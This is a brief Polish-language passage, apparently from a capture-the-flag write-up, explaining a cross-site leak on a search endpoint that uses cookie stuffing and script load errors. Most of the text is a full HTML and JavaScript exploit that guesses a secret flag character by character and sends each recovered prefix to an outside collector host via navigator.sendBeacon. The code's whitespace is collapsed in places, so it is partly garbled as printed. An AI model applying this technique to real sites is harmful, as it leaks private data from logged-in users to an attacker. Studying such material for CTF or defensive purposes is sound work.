Poniższy skrypt pobrany z tutaj wykorzystuje funkcjonalność, która pozwala użytkownikowi wstawić dowolną liczbę ciasteczek, a następnie załadować plik jako skrypt, wiedząc, że prawdziwa odpowiedź będzie większa niż fałszywa. Jeśli operacja zakończy się sukcesem, odpowiedź to przekierowanie z wynikiem URL, który jest dłuższy, zbyt duży, aby serwer mógł go obsłużyć, więc zwraca kod statusu błędu http. Jeśli wyszukiwanie się nie powiedzie, nic się nie stanie, ponieważ URL jest krótki.
<>'";<formaction='https://sustenance.web.actf.co/s'method=POST><inputid=f /><inputname=searchvalue=a /></form><script>const$=document.querySelector.bind(document);constsleep= (ms) =>newPromise(r =>setTimeout(r, ms));let i =0;conststuff=async (len=3500) => {let name =Math.random();$("form").target = name;let w =window.open('', name);$("#f").value ="_".repeat(len);$("#f").name = i++;$("form").submit();awaitsleep(100);};constisError=async (url) => {returnnewPromise(r => {let script =document.createElement('script');script.src = url;script.onload= () =>r(false);script.onerror= () =>r(true);document.head.appendChild(script);});}constsearch= (query) => {returnisError("https://sustenance.web.actf.co/q?q="+encodeURIComponent(query));};constalphabet="etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";consturl="//en4u1nbmyeahu.x.pipedream.net/";let known ="actf{";window.onload=async () => {navigator.sendBeacon(url +"?load");awaitPromise.all([stuff(),stuff(),stuff(),stuff()]);awaitstuff(1600);navigator.sendBeacon(url +"?go");while (true) {for (let c of alphabet) {let query = known + c;if (awaitsearch(query)) {navigator.sendBeacon(url, query);known += c;break;}}}};</script>